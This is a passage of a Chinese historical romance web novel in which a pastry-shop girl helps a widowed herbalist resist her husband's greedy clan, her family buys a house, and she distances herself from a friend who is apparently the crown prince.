同行们纷纷猜测,最后把目光锁定在苏家的传承上。 难道说,苏家有什么秘方吗? 其他人或许不知道,但同行已经知晓慧女点心一开始,用的是苏家点心的方子。 几十年前的苏家点心,在汴京就很有名气。 只不过这些年没落。 难道说,真是他们的秘方? 可都是苏家的手艺,北市正儿八经的苏家点心,为什么不会? 苏大伯跟苏大伯娘也想知道,为什么他们不会,为此还特意回了趟老家。 苏奶奶把他们一家骂了出去。 苏家的手艺谁学了,谁没学,你们心里没数吗?竟然还来问。 经此一事,汴京同行们确信。 这是慧女点心独有的秘方,别处真的没有。 有人隐约意识到,慧女点心很快会成为京城独一份。 在行业里做到顶尖,绝对是了不起的事。 或许不用很久,明年店面扩大之后,应该就能显现出来。 别说了,他们作为同行都想吃慧女点心的蛋糕啊。 汴京食客们忽然发现,汴京市面上出现不少香橼类的事物。 有的是食物里加了香橼汁,有的是直接切片做成茶水。 苏茵茵看到的时候,只能敬佩同行们的厉害。 虽然还没摸索到如何用柠檬汁做蛋糕,但开发出不少柠檬类食物啊。 见此,苏茵茵干脆给同一条街的大厨们提建议,让他们烤肉的时候,挤点柠檬汁上去。 还有柠檬茶的做法,也能再精进一些。 以及各类柠檬制品,大家一起做啊。 店里刘姐姐问:“这样的话,汴京的柠檬肯定会很贵啊,到时候我们没的用怎么办。” 大家已经习惯把香橼叫做柠檬。 最近这段时间,这水果的价格明显上涨。 苏茵茵摇头:“放心吧,咱们现在囤的柠檬已经够用了,等到明年,价格反而会回落。” 有市场就有卖家。 商贾们最为敏锐,汴京这股柠檬热,必然会被他们捕捉到。 不出意外的话,明年,乃至今年年底前,就会有货商载着大量柠檬前来售卖,柠檬又不容易腐烂,反而更适合运输。 只要买的人够多,运货量增加,价格必然降低。 而且以万龙国的地貌,巴蜀,两湖,两广,都适合种植柠檬,只要市场足够大,这些地方也会逐渐开始种植。 当然说这些有些多了,总之买的人多,反而对他们有利。 刘姐姐听的一知半解,可她一向知道茵茵妹妹聪明,便道:“管它呢,反正咱们的材料能用到明年呢。” 事实上没等到多久,九月底的时候,就有新一批香橼到货。 在当地不怎么吃的酸果子,竟然能在汴京全都卖出去,已经值得货商们拉几大箱了。 作为调味品来说,绝对不少。 苏茵茵从货商那回来,背了一箩筐柠檬,这次的柠檬味道好,少苦味,非常适合做甜品。 刚走几步,就听街面传来吵嚷声:“说了不嫁,你难道听不懂吗。” “店里还有病人,你们先走吧。” 前者声音正是窦玉凤,后者则是何婆婆,何公公站出来,对方的人就道:“窦娘子,你要是不方便改嫁就告诉我们,你这样年轻,哪有不改嫁的。” “是不是你公婆私底下胁迫你,不准你走?你快说出来,我们都给你做主!” 喊话的人一脸无赖样,明显要把罪过推给何家公婆,两位老人生性善良,被这么指责脸上写满不安。 “我们没有,孩子愿意做什么就做什么。” “别装好人了,谁家好公婆不让儿媳改嫁的。” 这人大声嚷嚷,还道:“人家年轻还没孩子,难道就要守一辈子?” 不明真相的路人听了,肯定会为窦玉凤打抱不平,就算她站出来澄清,依旧有人对何家公婆抱有怀疑目光。 “说了不是爹娘的事,你怎么还来?我们一家三口生活好好的,不要再来打扰了。” 窦玉凤口齿不够伶俐,一到这会,她就想起丈夫。 她自小跟丈夫一起长大,他身体虽然不好,却聪明会说话,自己又凶,两人配合刚刚好。 如今他不在,自己竟然被这些人刁难。 好在巡街的兵卒过来,对方赶紧溜走,只留下一群人指指点点。 多数人还是本能觉得,或许真不是这女子不想改嫁,是她要照顾公婆?还是公婆面甜心苦,故意拖着。 好好个年轻女子,真是可惜了。 窦玉凤气得要命,又不能把所有人拉过来解释。 根据之前的情况,她越解释,公婆越被指责。 对方明明就是故意的,她想上前拦下,让他不要再来了,刚走几步,被人拉住:“别去。” 苏茵茵开口道:“你追过去,他更高兴了。到时候围观的人只会更多,而且会缠上你。” 窦玉凤没追过去,对方果然回头看,脸上还写了疑惑。 “他两手准备,要么逼着你嫁人,吃你相公,公婆家的绝户。” “要么缠上你,直接跟你成亲,到时候依旧能拿到这一切。” 苏茵茵看出来对方不善言辞,性格着急了些,故而说的明明白白。 窦玉凤跟何家公婆只猜到前者,没想到他们还有后手,急的跺脚。 好在过了一会,窦玉凤缓过神,开口道:“是,如果相公在的话,他必然不会当街争执,只会把事情压下来再谈。” 苏茵茵多看她两眼,看来她只是性格着急了些,只要给时间,便能想明白。 这并非什么缺陷,反正寻常人家过日子,要那么机敏做什么。 可惜现在遇到事,着实需要急智。 等几人进了药铺里面,买药的客人早就走了,店内冷冷清清。 窦玉凤向苏茵茵道谢,知道她慧女点心家的女儿,还跟她道:“你可真聪明,一眼就看出问题。” 说着,又忍不住道:“相公跟你一样聪明。” 没说完的话是,他要是在的话,家里不会那么难。 何家公婆反而安慰儿媳,让她不要难过,事情总会过去。 但不怕贼偷就怕贼惦记。 以后这些麻烦事还有很多。 苏茵茵道:“既然是族亲那边来找麻烦,怎么不去寻族内耆老来主持公道。” 就算暗地里偏袒,明面上不好太过分吧。 除非他们也有想要的东西。 何家公婆微微摇头:“我家是旁支,跟何家宗族关系不算好。” “而且宗族不满的原因,也因医术旁落缘故。” 何家为行医世家,不管大宗小宗都会医。 可到他们这几辈,家中天分最出众的,便是窦玉凤去世的亡夫何大夫。 当年大宗让他们过来,便是看中窦玉凤亡夫能力。 等何大夫到了京城,见了大宗那些人,便做主不与他们同住。 之后自己开药铺,跟主宗渐渐少了来往。 这已经让大宗不爽,好歹医术还在姓何的人手中。 谁料大宗发现,何大夫的媳妇窦玉凤,医术天赋同样不错,在她相公手把手教学里,很多药理背的滚瓜烂熟。 何大夫在世时,一切都好说。 现在对方人没了,窦玉凤成了整个何家医术最好的,而且她还在学习何大夫留下的大量医书。 也就是说,那些大宗想要霸占的,不止这家药铺,还有许多医书典籍。 甚至害怕何家医术成了窦玉凤招牌。 这种情况下,找族内耆老肯定没用。 窦玉凤有一会没说话,忽然道:“苏家妹妹,你有没有什么主意?或者你知不知道他们还想做什么?” 苏茵茵犹豫片刻,又说出对方第三个打算:“如果他们确定你不改嫁,也不嫁他们选好的族内子弟,或许会帮你过继一个孩子。” 过继的孩子,肯定也是他们选好的,甚至爹娘还在的那种,方便吃这家所有资产。 这三个方法非常阴毒。 都是宗族内里大鱼吃小鱼,小鱼吃虾米的惯用手段。 家族内部的事,告到衙门都没什么办法。 窦玉凤深吸口气。 她这人八岁被卖到何家做童养媳,二十岁没了丈夫,今年二十三。 她所有美好回忆都是在这家里,有丈夫的,有公婆的,让她离开,绝对不可能,而且她绝不可能再嫁。 至于孩子,明知道对方是要来吃绝户的,她怎么可能去养。 “要不,我们回老家。”何家婆婆道。 窦玉凤摇头:“相公说过,绝不能回,老家的衙门跟宗族牵扯更深,反不如皇城脚下安全。” 听到这,苏茵茵心道,看来那位去世的何大夫,应该给家里铺过路,是有打算的。 那窦玉凤怎么不照做? 再多的不好问,苏茵茵还背着柠檬呢,准备先回店里。 窦玉凤对她生了许多好感,开口道:“方才拉了你一下,你月事是不是要来了,我给抓些制好的黄姜,算是秘方,吃了对女子身体好。” 这也能看出来? 苏茵茵没有拒绝,又听窦玉凤道:“少贪凉,少劳累,记得保暖。” 好吧,连她晚上贪凉都诊出来了。 抓好药,窦玉凤坚决不收钱,还感叹:“我若有你五分聪明,相公走的时候,便不会那样担心了。” 苏茵茵干脆问出疑惑:“姐姐,姐夫既然知道他家宗族行事,肯定告诉过你解决方法,怎么不做呀。” 提到这,窦玉凤一手拍在桌子上,气恼道:“听一个死鬼的作甚!” 这,这是怎么了? 苏茵茵赶紧出门,她知道自己不该问的! “茵茵姑娘。”旁边马车上传来郭展的声音,郭展下意识看向车内。 车里果然坐着原锐,他掀开车帘,苏茵茵只觉得他今日衣着过于华丽,跟往日有很大不同。 李锐渊快步下车,走过来道:“生病了?怎么从药铺出来。” 苏茵茵把月事吃的黄姜藏在身后,露出一个假笑:“没有啊,没事。” 空气凝滞片刻,李锐渊才道:“我帮你拿着竹框吧,是要回家吗。” “是,就快到了,你这是出门办事?”苏茵茵看向对方的衣裳,确实华丽得不像话。 平日已经觉得原锐衣衫昂贵,跟这次偶然遇到的比,还是差远了。 “办事回来。”李锐渊道。 原本以为对话到此结束,苏茵茵想悄悄溜走。 谁料对方直接道:“为什么躲着我。” 第49章 苏茵茵抬头看向原锐,这要怎么回答,最后认真道:“都忙?” 说罢,又道:“衣服挺好看的。” 李锐渊刚张口,她继续道:“别给我这些布料,我家平时干活,谁都用不上。” 不是布料不好,而是这些衣料一看就柔软珍贵。 苏家四口人,不管当差还是干活,就连读书写字都用不上。 话已经说得够直白,苏茵茵又藏了藏手里的药包,摆手道:“我回家了。” “就是这吗?”一群穿着体面的人走了过来,指着何家药铺道,“何家五房的在吗,族老有请!” 苏茵茵脚步顿住,李锐渊则看着她,没有回答之前的问题,只道:“要帮忙吗。” 是想帮忙的。 但是她怕惹麻烦。 之前柳月姐的事,差点惹了麻烦,要不是朱家害怕损失太大,肯定不会轻饶她家。 这几日她一直后怕。 所以她大概率不会去帮。 顶多偷偷出个主意? 苏茵茵摇头,就听原锐道:“我去帮忙。” 你去? 苏茵茵震惊,你知道前因后果吗? 郭展更是惊愕。 太子殿下怎么会对这种鸡毛蒜皮的小事上心。 他每天过手的文书,都是天下大事。 如今朝政繁忙,他一刻都不停歇,怎么能抽出时间。 李锐渊抬脚进门,苏茵茵犹豫片刻,也跟了过去。 两人一进门,内里恐慌的气氛瞬间一变,只听李锐渊道:“方才抓的药少了些,还请再添几份。” 窦玉凤一头雾水。 为什么啊。 她包的药足够用了,不过都是进补所用,再抓一些也无妨。 窦玉凤无视何家族人,又见这冷俊少年她见过,上次跟茵茵姑娘一起回家,应该是她家哥哥? “你记得提醒妹妹,不要贪凉,每日晚上吃一碗就好,女孩子家最金贵。”窦玉凤提醒完,见苏姑娘疯狂摆手,“怎么了?” 苏茵茵露出无奈的笑。 不愧是你啊原锐,你想知道什么,一定能知道的。 李锐渊那边愣住,没有反应过来,付钱时看到药名,耳朵一红,手指差点颤抖,好在明面上还能装作若无其事:“多谢了。” 两人这边买药,方才大声嚷嚷的何家族人在打量他们。 换做一般客人,肯定直接赶走了。 但这两人看着不同,特别是其中的少年,那身华衣一看就与众不同,非高门大户能有的。 说句直白的,衣服上一小块刺绣,便够普通人几年吃喝。 见他们买完了,他们上前道:“赶紧把店门关了,去家中祠堂一趟。” 窦玉凤直接道:“过去做什么。” “族老让你们过去,还问为什么?” 何家公婆止步不前,同样不想去。 要说的无非是那些事,觊觎他们去世儿子的书籍笔记,把这些年的成果都抢走。 苏茵茵想说什么,李锐渊先开口:“这位店家,请问需要帮忙吗。” 何家公婆不明所以,就听少年继续说话:“西城衙门有位姓张的主簿,行事最为公正,你们拿着信件去找他,无论有什么事,他都能帮忙你们解决。” 李锐渊说的气定神闲,用柜台上的笔墨写了封信,又盖了自己的私章:“去吧,一定会帮忙的。” 就这? 这就行了? 何家族人还不敢拦着。 苏茵茵自然明白为何。 凭着原锐浑身气度,还有这身衣着,只要不是傻子,都知道不要惹他。 毕竟谁都能看出来,他身份不一般。 大概率比她惹不起的朱家还要厉害很多倍。 不说平时送的礼物。 只说如此年纪,没有功名,却能在科举里当差,看样子职位还不低。 再说那姓氏背后,很少有人能查到什么,已经够让人深思。 现在何家族人不知道他们是谁,却也真的不敢动,立刻派人回去通风报信。 窦玉凤则带着公婆去西城衙门,真的去找张主簿,她还道:“不管怎么样都要试一试,等我回来再说。” 最后那句是对苏茵茵说的。 何家药铺关上门,苏茵茵提着两份药,竟然说不出话。 好好好。 她说你家衣料太贵,我不要。 原锐并未直接回答,而是用实际行动告诉她,这衣料不光好看,还能做自己想做的事。 等两人回到点心店前,原锐道:“我能不能买点点心,我母亲很喜欢你家点心。” 这有什么不能的,反正是郭展排队。 苏茵茵这会懒得去帮他拿。 等苏茵茵一回头,队伍里站着的不是郭展,是原锐自己。 行吧,爱排队就排。 苏娘子看到后却道:“原锐,你怎么还在排队。” 说着,把自家预留的一份拿出来:“别排了,开来吧。” 李锐渊也不忸怩,上前谢过苏娘子,随后道:“母亲还在家中等我,婶娘我先回去了。” “回吧。” 马车停在旁边,李锐渊看了眼店里的茵茵,这才上车离开。 第二天一大早,苏茵茵刚跟着娘亲把店门打开,只见外面站着窦玉凤还有何家公婆。 怎么他们一家三口都过来了! 窦玉凤看到苏茵茵,连忙道:“那位少爷呢,真的太谢谢他了!” 解决了? 窦玉凤也不瞒着,把昨天去找西城张主簿的事说出来。 总之对方一看到信件,再看到私章,立刻询问情况,但对方也道:“就算是这位亲自写信,可若我断案,必然公正,你们可能接受?” 意思就是,写信的人是大人物,但我断案的时候,绝对不偏袒你们。 这有什么了,窦玉凤立刻说好。 张主簿跟着他们去何家祠堂,把这案子断的明明白白。 说到底,人家夫君没了,亲生爹娘早就不见人影,如今跟着公婆挺好的,怎么就不行了。 张主簿说话犀利,又背靠衙门,丝毫不给对方脸面,就差直接骂人。 最后的结果,命何家不要再上门骚扰,让人家过好自己的日子。 也确认这是窦玉凤自己的决定,张主簿这才离开。 有了衙门的人作保,何家再过来闹事,肯定会被关押起来。 可事情到最后,苏茵茵也要问一句:“姐姐,你以后真的不嫁人了吗。” 窦玉凤姐姐今年不过二十三,还年轻得很,她确定吗。 说到这,窦玉凤让公婆先回家了,自己轻轻点头:“我确定。” “为什么。” 看着眼前的小姑娘,她处理事情的时候很聪明,可对感情完全是空白的。 窦玉凤似乎想到什么,笑着道:“就是很确定,我再也不会碰到第二个相公了。” 街边还有卖早点的,两人干脆一边吃早点一边说话,窦玉凤没有再提什么宗族什么铺子,反而说起自己八岁那年的事。 “十五年前,那会乡下乱得很,流寇匪徒贼人,各家日子都难过,我家尤为艰难,春耕时候种地的种子都没有。” “所以家里要把我卖了换钱,当时人价贱,连牲口都不如,特别是我这种病恹恹的,一看就没吃过饱饭那种。” 人牙子收了钱,就把带着他们去各家各户挑选。 到何家的时候,她实在饿得很了,趁着人不注意,偷人家桌子上的糕点。 她做得隐晦,但还是被脸色苍白的何家旁支少爷看到,差点被发现时,也是他帮自己做的遮掩,才免了一顿毒打。 何家没有选中她,人牙子准备带她离开,尚且年强的公婆过来把她买下了,刚开始做丫鬟,之后是童养媳。 窦玉凤原本孱弱的身子,也被他家养得白白胖胖。 反而是脸色苍白的少爷,身体依旧不好。 “当时我不认字都是小事,吃饭的时候只会蹲着,稍微复杂一点的衣服都不知道怎么穿。” “婆婆一点点教我,之后相公还教我写字读书诊脉。” “春天我们还会去放风筝,夏天看荷花,秋天冬天也有好玩的。” 窦玉凤讲起那时候的事,脸上带着温柔的笑,整个人沉浸在过往里,没人忍心打断她。 之后家里变故,他们搬到京城:“我们宅子后头,还种了一颗杏树,每年杏花开的好,但果子还没结下来。” “我想也就是这几年了,等果子结了,我就带一些去他坟头,让他走那么早,自己种的果子都吃不到。” 窦玉凤想擦眼泪,却还是笑:“他真的很聪明,如果他身体好的话,什么秀才举人,根本不是问题。对了,这些年京城宅院不是涨了许多,他那时候就预料到了,让家里一定要买,而不是租。” “我们不知道,他那会已经在安排后事。” 从家中的宅院,再到店铺的生意,还有以后谁来坐诊,全都做了准备。 爹娘的以后,窦玉凤的以后,都在他心里。 说到这,窦玉凤恨恨道:“他的最后一封信,竟然是让我改嫁他人,还说老家哪哪房的男子不错,人很好,比我小几岁,家里困难应该没婚配。” “还说什么,让那人来京,就在铺子里做事,到时候可以照顾爹娘跟我。还说那人身体很好,以后我也会有孩子。” “你知道吗,我们甚至没有办过婚事。” 苏茵茵惊愕抬头,不都说窦玉凤是寡妇? 原来还没成婚? “管他呢,反正我是童养媳,该做的事都做了,办不办婚事,他都是我相公。” “本以为念着他身体不好,折腾太累太辛苦,谁能想到,他这点都算计到了,就是不办婚事,到时候我好嫁给别人。” “他明知道我多想拜堂成亲!” 若不是在外头,苏茵茵觉得,窦玉凤姐都要把桌子锤烂。 苏茵茵更是没想到,怪不得姐姐这么想着她相公,还认定了只有那一个相公。 那信写的有多真挚,窦玉凤就有多气。 其实她也知道,夫君选的人的确很好,人老实善良,他们之前还有接触。 对方过来也只是做些杂活,自己是坐诊的,店里还是她说了算。 但怎么就那么气呢。 越气越想打她相公。 可惜没有机会了。 窦玉凤似哭非哭,眼神里的悲伤一点也藏不住。 “看你还没开窍呢,等你有了喜欢的人就知道了。”窦玉凤最后擦擦眼泪,“不说这些了,真的谢谢你们,那张主簿还说,以后有什么事,还可以去找他。想来不会有麻烦。” “这份恩情我家一直记着,以后你们有什么事,一定要来找我。” 苏茵茵点头,她会传达给原锐的。 这件事她牵扯不深,本以为还需要耗些工夫,没想到这么快解决了。 或者说也没有办法解决。 就算她是小红娘,也绝不可能帮窦玉凤姐姐牵线成功。 虽然她没有喜欢过谁,可从姐姐的眼神里可以看出来,她不可能再嫁其他人的,绝对不可能。 这样的感情不必多说,便能让人感觉的到。 等窦玉凤离开,苏茵茵难免再次想到那个问题。 原锐,到底是什么身份。 或者说,他真的叫原锐吗? 苏茵茵猛然站起来。 想这些干什么啊。 方才窦玉凤说了什么? 她家宅子跟铺子,都是刚来京城的时候买的。 还是典当不少首饰家具,硬生生买下来。 好牛的一人! 苏茵茵本就有些佩服窦玉凤的亡夫,现在更佩服了! 不提醒就算了。 现在提到这事,苏茵茵觉得她家同样该买的。 之前没有银钱吃饭都艰难,那肯定买不起,这些年应该有些家底的。 苏茵茵连忙去找娘亲:“娘,咱们是不是该买处宅子了!” 当年万龙国情况不好,宅院铺子都很便宜。 如今可不一样了啊。 这十几年平稳发展,汴京好宅院价格节节攀升。 现在看来,应该还没到头。 等到西市店铺全都改为两层,乃至三层。 到时候附近的房价如何? 还用想吗! 趁现在赶紧买下来才是啊! 等到明年,肯定更贵的。 要说苏家刚来京城的时候,自然想过买下宅子。 但手里哪有那么多银钱。 现在女儿提起来,苏娘子认真想了想:“发生什么事了吗,此事要全家一起商量,还要找房东问问,若他家不卖这房,咱们还要再选地方。” 买房是个重要的事,肯定会慎重。 可苏茵茵预测的没错。 等到明年北市更加繁华,那房价还会继续涨。 苏指挥使也做了不少打听,得出同样的结果。 家里因为这事开始忙碌。 一个是算手里有多少银钱,二是找合适的地方。 苏娘子先去问了房东,房东显然有些不愿意卖房,他家也知道,这地方明年就是另一个价。 既然这样,找房子变成了问题,而且越快解决越好。 “不能离店太远,也不能离兵马司太远,最好能跟哥哥山家书院近一些。”苏茵茵认真想了要求,自己都觉得有点苛刻。 而且仔细一看,符合这样要求的房子,就要临近南城了,价格又要往上提一提。 “幸好茵茵想到这件事,再拖两年,咱们家更买不起。”苏指挥使听同僚讲了几句,大概都劝他们早点下手。 那还是窦玉凤姐姐的亡夫更厉害才是。 人家十几年前就想到了。 怪不得姐姐那么喜欢他。 听说她家要买房,左邻右舍都给出主意。 特别是孙东俊的母亲,她家已经买了两处宅院,最近准备再下手一间,忍不住道:“这两年宅院价格几乎翻了一倍,咱们西城还好一些,南城那边更贵呢。” “所以早点买更好。” 说着,孙母看向茵茵道:“不过你家买宅子也是迟早的事,你家女儿那样能干,回头换个大宅院也是可以的。” 慧女点心在苏娘子手中,算是能顾着家里吃喝。 但随着苏茵茵长大,明显跟之前不同。 苏娘子笑着道:“是啊,我们家茵茵最厉害了。” 但她不准备换大宅院,还是要留些银钱给孩子们,特别是茵茵,从小就给她攒嫁妆,现在生意好起来,攒的只会更多。 这些不用同别人讲,她现在主要任务是看宅院。 还好他们目标明确,在附近找了几处。 但不是太大就是太小,要么位置有些偏。 金彦磊来买点心的时候,就看到苏茵茵在纸上写写画画,对比各个宅院不同。 “买宅子?”金彦磊开口问道。 苏茵茵抬头:“是啊,对了你总算来了。” 说着,苏茵茵送上一份小食礼盒:“这个送你,虽然知道不是什么金贵东西,但都是我们店的特色,要不是你把点心送宫里,我们家生意不会这样好。” 买宅院手里都宽裕了呢。 金彦磊摸摸鼻子,还是道:“我就是给太子殿下吃,没想到他说这东西很好,让我给皇后娘娘送过去。” 话是这么说,身后小厮还是接过小食礼盒,让金彦磊忍不住捏了两块尝尝。 不愧是她家的点心,味道就是好,不枉他路过也要看一眼。 说着,金彦磊抱怨道:“太子最近特别忙,他忙就算了,拉着我一起忙,一刻都不得闲。” 苏茵茵好奇道:“忙什么啊,我记得你不是还没考中秀才吗。” “这种就不用说出来了吧!”金彦磊故意夸张道,随后解释,“王公贵族的差事,哪管什么功名。” 这倒是提醒苏茵茵,难道原锐是什么王公贵族,所以他同样没有功名,却依旧很忙。 “反正等太子真正观政,估计能闲下来,要等到明年二月三月吧。” 太子观政,苏茵茵听不少人提过。 意思就是,太子正式可以上朝处理政务,三天一次的朝会必然要去。 证明他开始成为正式的接班人。 这些离她太远,苏茵茵没有多记,她道:“那正好,等到三月份我家出新品,到时候给你留一份。” 今年八月份做的戚风蛋糕。 明年三月店铺扩建之后出新品,时间刚刚好。 “好啊,你能不能把奶糖也拿出来卖,我觉得你做的奶糖也好吃。” 苏茵茵好笑道:“给你准备的食盒里有,你看看。” 金彦磊欢呼,太好了! 茵茵姑娘真是好人。 十四五岁的金彦磊一身奶糖味走到太子东宫时,还问道:“殿下,我今日还有事要做吗。” 奉国将军脸一黑,就差把小儿子打包扔出去。 殿下让你来帮忙,那是看重你,怎么就你天天想着躲懒。 东宫即将开府,能来做事的,以后前途无量。 再看看太子殿下,马上满十六,也没比小儿子大多少,一身气度却格外沉稳。 李锐渊扫过金彦磊身上,明显知道他刚从哪来,脸色倒是淡淡:“有,跟周大人去巡兵马司。” 哪?兵马司? 京城五处兵马司,巡完就要过年了吧! 完蛋,他这是真的没有偷懒机会了啊。 奉国将军心中一喜,连忙拜谢殿下。 殿下人真好啊,很重用他家小儿子。 苏茵茵这边还在仔细看宅院,下午苏娘子把店暂时交给刘姐姐,带着儿女过来看地方。 房牙介绍道:“这处宅子原本是个经商的人家,他们最近搬到南城去住,又急需用钱,所以准备卖了。” “房子维护的很好,你们看看就知道。” 房牙便是他们这里的房产中介。 这宅子确实不错,一共五间房,足够一家五口住,厨房也挺大。 美中不足自然是价格,还有距离点心铺有些远。 看完这一处,还有三个地方。 中间房牙的人过来找他说话,低声讲了几句,房牙就道:“方才有人说,附近又空出一处,要不然去看看,那家人急着出手,价格好得很。” 当真? 这不是做戏吧。 苏显道:“你确定?那人地契房契可都齐全?” 苏家并非贪婪之人,却也不会放过这种机会,看还是要看的。 不去就算了,去了才知晓,这处宅子就在点心店附近,出门几步路就到。 宅子不算大,可内里布置的精巧,分为三处小院,每一处都有自己的空间。 这一看就是原房主花了大价钱建造的。 院子里有花有草,稍加打理便会很好看,如果再把家里秋千挪过来,苏茵茵都不敢想有多快乐。 而且厨房内里一应俱全,搬过来就能住。 这跟天上掉馅饼有什么区别? 连房牙都道:“这么好的宅子,为什么要卖啊,价格也不算高。” 他要是买下来,转转手就能赚钱吧。 可惜了,他顶多做个牙人,没有那么多钱。 不过这单费用肯定能赚到,这家人不买,也会有其他人买。 苏娘子跟兄妹俩商议过后,强忍激动,还是谨慎道:“等我夫君去官府查了地契房契,以及房主的名字,如若无误,那就可以签下。” 这是应当的。 再得知苏娘子的相公为兵马司其一的指挥使,房牙更恭敬:“此事绝不会有错,还请娘子放心。” 等回到家中,他们三人才高兴出声。 那宅子真的好啊。 怎么看怎么顺眼,离店里近,房子好,装饰的也好。 甚至比现在住的宅子还要漂亮,价格还刚刚好。 不过苏显还是道:“等爹查完之后再说。” 苏指挥使那边给来消息,一切无误,那处宅院的主人是一国公家的孙儿,最近犯事需要填账,所以急急出手十几处宅院,这只是其中一个。 那没事了! 买! 苏娘子头一次做这么大的交易,难免有些紧张。 苏茵茵也差不多,她虽然对买房子执念不大,可一想到这是一家人居住的地方,肯定会高兴。 早晚都要买,立刻下手。 十月中旬,苏家宅院的手续办的七七八八,那边房东甚至说他们想搬的话可以提前过去,反正原房东也不住。 家里事多,时间过得飞快。 等到天上下雪,苏茵茵才意识到,又一个冬天来了。 以前每年冬天,她都会去找原锐过生辰。 他很怕冷,每年家里给他准备冬衣,他还要给自己也备一份。 最近零零碎碎的搬家,她感觉自己取暖的物件占了大半,还都是原锐拿来的。 想什么来什么,雪花一下,郭展提着匣子过来。 里面装着一顶帽子,是苏茵茵去年开春说的那种,毛茸茸的,既保暖又可爱。 “少爷最近特别忙,差我来送东西。”郭展解释道,不知道是不是半个月没见,茵茵姑娘脸上脱了些稚气。 再想到殿下的飞速成长,就连郭展都要说一句时光飞逝,两个小孩渐渐长大了。 这么一想,郭展语气都变和蔼了:“茵茵姑娘喜欢吗。” “喜欢是喜欢,可他这么送东西,也不大好吧。”苏茵茵说拒绝,便是真的拒绝,“无功不受禄。” 自己都拿点心小册回礼,都不太够还的。 再送下去,真的要给他家当一辈子厨娘吧。 她只想快快乐乐的做自己的点心,其他的跟自己没关系。 郭展傻眼,没送出去? 不过他早就感觉到了,殿下送来的东西,越来越看中心意,贵重倒是还好。 茵茵姑娘刚开始挑便宜的收,现在索性什么都不要了。 郭展手下的小跟班道:“总管大人,这怎么办。” “不怎么办,孩子大了啊。”郭展说完赶紧打嘴,他怎么能这么说殿下跟茵茵姑娘。 今年已经二十三的郭展想了想道:“或许不是坏事。” 长远看不是坏事。 现在看战战兢兢。 殿下虽然不会发脾气,但肯定全心投在公务上,努力压缩时间,自己来送。 可最近不是普通的忙碌。 太子观政,单这四个字,能让朝廷上下忙得人仰马翻。 这件事朝中在忙,兵马司肯定少不了。 宁郡王作为西城兵马司总指挥使,最近整日整日在官署里,把这些年卷宗整理出来,准备交给东宫。 以后京城五城兵马司的直属上司,便是东宫的太子殿下。 这等于给了一部分兵权。 虽说如今的五城兵马司更偏向日常巡视,跟城外禁军,皇城内御林军不同,但也证明皇上的信任。 宁郡王还把几个指挥使招来专门问话,让他们务必做好手头的事,殿下派了奉国将军的儿子先来巡视,以后可能会抽调几处检查等等。 苏指挥使平日做事严谨,自然不怕,反而是新上任的巡查司梁指挥使擦擦头上的汗。 上一任留下来的烂摊子还没收拾完,太子就要检查,他头疼啊。 这位梁指挥使便是兰双姑娘他爹。 他算是发现,只要跟苏家打好关系,运气就会格外好。 上次若不是苏指挥使灭了上一任的气焰,他还捡不到这个位置呢,所以三步并两步,一定要跟苏指挥使说话,跟他请教怎么管那么多卷宗啊。 等到北市茶馆都在提太子观政时,苏茵茵难免多聊几句。 不知道为什么,最近总听到太子的消息。 苏显在山家书院,夫子同窗们聊的多,便跟妹妹说了些:“听说太子天生聪慧,陛下也信任,对他寄予厚望。” “观政之后,便要开府,立东宫,可以设内阁。” 意思就是,以前名头好听,是太子。 以后便是实权太子,有真正的班底。 厉害啊。 怪不得那么多人都在议论。 “也不容易,十六岁观政,岂是说说那样简单的。放在普通人家,读书都没读几年。” 多少岁? 苏茵茵还以为太子都二十多了啊。 十六岁,处理国家政务。 好夸张啊。 但想想现在是什么年代,又正常了。 现在的皇帝挺好的,皇后也不错,希望他儿子儿媳给点力,那他们这些百姓的日子才好过。 苏茵茵微微皱眉,又问了句:“他是这个月观政吗?什么时候。” 苏显不知道,倒是苏指挥使听说了,那日满朝文武都要上朝,即便是他们也要在兵马司朝皇宫方向行礼。 “十月二十八。” 十月二十八? 还有不到十天时间。 那天,正好是原锐生辰。 这是巧合吧? 苏茵茵摇摇头,肯定是巧合,她垂下眼,只当是个巧合就行。 安盛十三年,十月二十八。 京城上下都知道这个日子。 太子观政。 说起来奇怪,之前消息一直低调,临到最近几个月才大肆宣扬。 这天清晨,便听到晨钟响起,足足响了七声,给太子观政助威。 街上贴满喜报,街头巷尾还有大户施粥散钱,全都表示对太子观政的祝贺。 关于这位太子的消息,传得也越来越多。 “别看太子今年十六,但自幼聪慧,早几年帮着主持科举,今年乡试更是他一手经办。” “明年会试也是他啊,听说文武双全,相貌也极好。” “还是陛下皇后唯一的孩子,真乃天之骄子。” 苏茵茵给顾客打包点心的时候,听大家说的热闹,忍不住插一句:“世上还有这般完美的人?还这样幸运?一生里面,连点坎坷都没有吗。” 听大家说的,长得好,有学问,人不错,甚至还不用跟兄弟争皇位。 看皇上的架势,分明在为太子打基础,甚至父子相疑这种事都没有。 人的命能这样好吗。 顾客倒是迟疑片刻,低声道:“听说他小时候被叛军掳走,差点没命,这算是最大的坎坷吧。” “好像还有点后遗症,不知道现在好了没。” 苏茵茵手一顿。 后遗症? 不像啊。 苏茵茵把点心递给对方,笑着道:“欢迎下次再来。” 她家刚买了宅院,要好好攒钱才行。 一想到要搬新家,其他事情都忘了! 眼看街上各种庆祝活动,一直到天擦黑才结束,慧女点心也准备关门。 天气越来越冷,赶紧关门赶紧回家。 苏茵茵把烤炉里最后一份点心拿出来,是明年的新品,鲜奶油蛋糕。 一定要说的话,有点像现代的生日蛋糕。 “是给我的吗。”原锐不知道什么时候进来,正好看到上面生辰快乐四个字。 确实是,苏茵茵并不意外他会过来,也不扭捏,笑着道:“没错,奶油蛋糕,很好吃的。” 说着,苏茵茵把奶油蛋糕利落包好:“快拿走吧,我家马上关门啦。” 这是不留他的意思。 更不会一起吃饭,也不会一起用这份蛋糕。 苏茵茵收拾好店里,笑着跟他摆手:“再见啦。” 苏茵茵一溜烟回家,看到哥哥时,赶紧道:“以后原锐来找我,就说我不在家。” 哥哥虽然摸不清头脑,但本能点头答应:“好。” 回到房间里,苏茵茵有点点难过,以后就没有那么要好的小伙伴了。 但是没关系,她可以找到新的小伙伴。 听到门外哥哥婉拒原锐,苏茵茵把原锐送来的所有东西彻底封存。 太贵重了,她真的用不起。 现在用不起,以后也用不起。 等到门外的人离开,苏显推开妹妹房门,走到妹妹身边,轻轻搂着她:“我们家茵茵还会有新朋友的。” 他大概明白些什么,妹妹那么聪明,肯定察觉到他不知道的事,所以他尊重妹妹所有决定。 苏茵茵认真点头,回抱住哥哥。 没错,哥哥说的对。 第50章 十一月初三,搬家的好日子。 